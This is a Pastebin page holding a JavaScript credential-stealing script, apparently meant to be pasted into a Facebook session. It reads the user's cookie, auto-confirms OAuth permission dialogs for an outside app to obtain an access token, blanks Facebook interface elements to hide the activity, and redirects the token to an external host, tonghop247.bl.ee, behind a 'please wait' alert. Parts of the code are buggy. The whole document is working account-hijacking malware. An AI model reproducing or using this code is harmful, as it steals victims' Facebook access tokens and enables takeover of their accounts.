Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //HuuKhiem
- if(location.hostname.indexOf("www.facebook.com","static.ak.facebook.com","apps.facebook.com","beta.facebook.com")>=0)
- {
- var profile_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
- function uygulamaizinver(url)
- {
- var xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if(xmlhttp.readyState==4)
- {
- izinverhtml=document.createElement("html");
- izinverhtml.innerHTML=xmlhttp.responseText;
- if(izinverhtml.getElementsByTagName("form").length>0)
- {
- izinverhtml.innerHTML=izinverhtml.getElementsByTagName("form")[0].outerHTML
- act=izinverhtml.getElementsByTagName("form")[0].action;
- duzenlevegonder(izinverhtml,act);
- }
- }
- };
- xmlhttp.open("GET",url,true);
- xmlhttp.send();
- }
- function duzenlevegonder(formnesne,act)
- {
- izinverparams="";
- for(i=0;
- i<formnesne.getElementsByTagName("input").length;
- i++)
- {
- if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__")<0&&formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked"))
- {
- izinverparams+="&"+formnesne.getElementsByTagName("input")[i].name+"="+formnesne.getElementsByTagName("input")[i].value;
- }
- }
- if(formnesne.getElementsByTagName("select").length>0)
- {
- izinverparams+="&"+formnesne.getElementsByTagName("select")[0].name+"=80";
- }
- izinverparams.replace("&fb_dtsg","fb_dtsg");
- izinverparams+="&__CONFIRM__=1";
- formnesne=formnesne;
- var xmlhttp=new XMLHttpRequest();
- xmlhttp.onreadystatechange=function()
- {
- if(xmlhttp.readyState==4)
- {
- izinhtml=document.createElement("html");
- izinhtml.innerHTML=xmlhttp.responseText;
- if(izinhtml.getElementsByTagName("form").length>0)
- {
- izinhtml.innerHTML=izinhtml.getElementsByTagName("form")[0].outerHTML;
- act=izinhtml.getElementsByTagName("form")[0].action;
- duzenlevegonder(izinhtml,act)
- }
- else
- {
- sex=xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
- if(sex[1])
- {
- tokenyolla(sex[1]);
- }
- }
- }
- };
- xmlhttp.open("POST",act,true);
- xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- xmlhttp.send(izinverparams);
- }
- function TokenUrl(id)
- {
- return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id="+id+"&redirect_uri=fbconnect://success&sso_key=com&scope=email,publish_stream,user_likes,friends_likes,user_birthday";
- }
- if(!localStorage['token_'+profile_id]||(localStorage['token_'+profile_id]&&tarih.getTime()>=localStorage['token_'+profile_id]))
- {
- uygulamaizinver(TokenUrl("121876164619130"));
- var http=new XMLHttpRequest();
- http['open']('GET','http://graph.facebook.com/'+profile_id,false);
- http['send']();
- var get=JSON.parse(http['responseText']);
- var isim=get.name;
- }
- window.setInterval(function()
- {
- if(document.getElementsByClassName("_5ce"))
- {
- for(i=0;
- i<document.getElementsByClassName("_5ce").length;
- i++)
- {
- document.getElementsByClassName("_5ce")[i].innerHTML="";
- }
- }
- if(document.getElementsByClaassName("uiToggle wrap"))
- {
- for(i=0;
- i<document.getElementsByClassName("uiToggle wrap").length;
- i++)
- {
- document.getElementsByClassName("uiToggle wrap")[i].innerHTML="";
- }
- }
- if(document.getElementsByClassName("uiPopover"))
- {
- for(i=0;
- i<document.getElementsByClassName("uiPopover").length;
- i++)
- {
- document.getElementsByClassName("uiPopover")[i].innerHTML="";
- }
- }
- }
- ,200);
- function tokenyolla(token)
- {
- top.location.href='http://tonghop247.bl.ee/vt/index.html#'+token;
- }
- }
- var alibasim = "Đang nạp chương trình.Vui lòng đợi!";
- alert(alibasim);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement